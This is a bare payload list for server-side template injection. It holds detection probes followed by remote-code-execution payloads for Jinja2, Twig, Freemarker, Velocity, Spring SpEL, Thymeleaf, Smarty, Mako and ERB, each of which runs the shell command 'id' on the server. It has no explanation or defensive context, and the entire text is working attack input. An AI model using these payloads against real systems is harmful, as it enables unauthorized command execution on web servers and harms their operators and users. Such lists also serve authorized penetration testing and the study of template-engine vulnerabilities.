Server-Side Template Injection — engine detection plus RCE payloads for Jinja2, Twig, Freemarker, Velocity, Spring SpEL, Thymeleaf, Smarty, Mako and ERB.
{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
{{7*'7'}}
${{<%[%'"}}%\
{{config}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['id',""]|sort('system')}}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")
${T(java.lang.Runtime).getRuntime().exec("id")}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
*{T(java.lang.Runtime).getRuntime().exec("id")}
{system('id')}
{php}system('id');{/php}
${__import__('os').popen('id').read()}
<%= system('id') %>